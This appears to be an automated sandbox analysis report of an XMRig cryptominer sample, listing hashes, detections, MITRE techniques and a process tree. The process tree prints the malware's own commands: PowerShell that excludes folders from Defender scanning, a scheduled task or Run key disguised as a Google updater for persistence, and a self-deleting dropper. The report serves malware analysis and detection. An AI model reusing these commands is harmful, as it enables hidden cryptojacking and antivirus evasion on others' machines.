xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1786s
max time network
1794s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1684 created 1260	1684	XJEzW6M7WvHaF3EX.exe	10
PID 1684 created 1260	1684	XJEzW6M7WvHaF3EX.exe	10
PID 1684 created 1260	1684	XJEzW6M7WvHaF3EX.exe	10
PID 1684 created 1260	1684	XJEzW6M7WvHaF3EX.exe	10
PID 2976 created 1260	2976	updater.exe	10
PID 2976 created 1260	2976	updater.exe	10
PID 2976 created 1260	2976	updater.exe	10
PID 2976 created 1260	2976	updater.exe	10
PID 548 created 1260	548	conhost.exe	10
PID 2976 created 1260	2976	updater.exe	10

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral27/memory/1416-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/1416-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2624	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2976	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1924	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral27/memory/1416-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/1416-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2976 set thread context of 548	2976	updater.exe	46
PID 2976 set thread context of 1416	2976	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	XJEzW6M7WvHaF3EX.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2788	schtasks.exe
2864	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
816	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 206ce3f3a051da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1684	XJEzW6M7WvHaF3EX.exe
1684	XJEzW6M7WvHaF3EX.exe
2716	powershell.exe
1684	XJEzW6M7WvHaF3EX.exe
1684	XJEzW6M7WvHaF3EX.exe
3052	powershell.exe
1684	XJEzW6M7WvHaF3EX.exe
1684	XJEzW6M7WvHaF3EX.exe
1684	XJEzW6M7WvHaF3EX.exe
1684	XJEzW6M7WvHaF3EX.exe
2736	powershell.exe
2976	updater.exe
2976	updater.exe
1088	powershell.exe
2976	updater.exe
2976	updater.exe
1496	powershell.exe
2976	updater.exe
2976	updater.exe
2976	updater.exe
2976	updater.exe
548	conhost.exe
548	conhost.exe
2976	updater.exe
2976	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	1088	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	2976	updater.exe
Token: SeAssignPrimaryTokenPrivilege	816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	816	WMIC.exe
Token: SeSecurityPrivilege	816	WMIC.exe
Token: SeTakeOwnershipPrivilege	816	WMIC.exe
Token: SeLoadDriverPrivilege	816	WMIC.exe
Token: SeSystemtimePrivilege	816	WMIC.exe
Token: SeBackupPrivilege	816	WMIC.exe
Token: SeRestorePrivilege	816	WMIC.exe
Token: SeShutdownPrivilege	816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	816	WMIC.exe
Token: SeUndockPrivilege	816	WMIC.exe
Token: SeManageVolumePrivilege	816	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	816	WMIC.exe
Token: SeSecurityPrivilege	816	WMIC.exe
Token: SeTakeOwnershipPrivilege	816	WMIC.exe
Token: SeLoadDriverPrivilege	816	WMIC.exe
Token: SeSystemtimePrivilege	816	WMIC.exe
Token: SeBackupPrivilege	816	WMIC.exe
Token: SeRestorePrivilege	816	WMIC.exe
Token: SeShutdownPrivilege	816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	816	WMIC.exe
Token: SeUndockPrivilege	816	WMIC.exe
Token: SeManageVolumePrivilege	816	WMIC.exe
Token: SeLockMemoryPrivilege	1416	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 2788	3052	powershell.exe	32
PID 3052 wrote to memory of 2788	3052	powershell.exe	32
PID 3052 wrote to memory of 2788	3052	powershell.exe	32
PID 2624 wrote to memory of 2696	2624	cmd.exe	37
PID 2624 wrote to memory of 2696	2624	cmd.exe	37
PID 2624 wrote to memory of 2696	2624	cmd.exe	37
PID 2736 wrote to memory of 2604	2736	powershell.exe	38
PID 2736 wrote to memory of 2604	2736	powershell.exe	38
PID 2736 wrote to memory of 2604	2736	powershell.exe	38
PID 1924 wrote to memory of 2976	1924	taskeng.exe	40
PID 1924 wrote to memory of 2976	1924	taskeng.exe	40
PID 1924 wrote to memory of 2976	1924	taskeng.exe	40
PID 1496 wrote to memory of 2864	1496	powershell.exe	45
PID 1496 wrote to memory of 2864	1496	powershell.exe	45
PID 1496 wrote to memory of 2864	1496	powershell.exe	45
PID 2976 wrote to memory of 548	2976	updater.exe	46
PID 988 wrote to memory of 816	988	cmd.exe	51
PID 988 wrote to memory of 816	988	cmd.exe	51
PID 988 wrote to memory of 816	988	cmd.exe	51
PID 2976 wrote to memory of 1416	2976	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1260
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2788
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2624
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2864
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:548
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:576
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:816
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1416

C:\Windows\system32\taskeng.exe
taskeng.exe {A74B8D27-30AB-4C31-A5C7-EF1CB12DB6F7} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.6MB

MD5
5face3a467b4bee146fb97864c87fb69

SHA1
c97fe8e1ee7be6b9db8e89549519a1a446d90190

SHA256
3c19442b3f63dd3d249c6a63373143ba981575cb6be76bddfe148ea64389c104

SHA512
4ae75ad50870261b94d6688af0c07b0fa9b25fec0e5c1566f0f32972de3307a08414cf14716c50a296460e0ea86f3478c9f2822f8a5e272aa8cdf22a9df1f9be

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1569b25259c3ba6e1c9a48b189cdc8c8

SHA1
94739389f3aa63a902f0c2b72c2e8eed1934ec42

SHA256
427d1f93d4ae21060aa1b1fad75409dfbd9e5a281c9f9abe38c17c82ec5c91b3

SHA512
5d46a7a8bdf42c7c068205a7b3a1075a7c70480fbd859469875b592cf945a87f65c51df94bef96783e684ce9ccd8c55cedb654a591f6d1ca7e88912357432152

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/548-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/548-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1088-51-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/1088-49-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

Filesize
9.6MB

Download
memory/1088-48-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/1088-50-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/1088-47-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

Filesize
9.6MB

Download
memory/1088-52-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

Filesize
9.6MB

Download
memory/1416-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-69-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/1416-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-79-0x00000000008E0000-0x0000000000900000-memory.dmp

Filesize
128KB

Download
memory/1416-78-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/1416-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-70-0x00000000008E0000-0x0000000000900000-memory.dmp

Filesize
128KB

Download
memory/1416-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1416-67-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/1496-57-0x0000000001030000-0x00000000010B0000-memory.dmp

Filesize
512KB

Download
memory/1496-59-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/1496-58-0x0000000001030000-0x00000000010B0000-memory.dmp

Filesize
512KB

Download
memory/1496-56-0x0000000001030000-0x00000000010B0000-memory.dmp

Filesize
512KB

Download
memory/1496-54-0x0000000001030000-0x00000000010B0000-memory.dmp

Filesize
512KB

Download
memory/1496-55-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/1496-53-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/1684-29-0x000000013FEA0000-0x00000001400B1000-memory.dmp

Filesize
2.1MB

Download
memory/1684-0-0x000000013FEA0000-0x00000001400B1000-memory.dmp

Filesize
2.1MB

Download
memory/2716-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-6-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2716-10-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/2716-11-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/2716-12-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/2716-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-8-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/2716-13-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-5-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/2736-38-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

Download
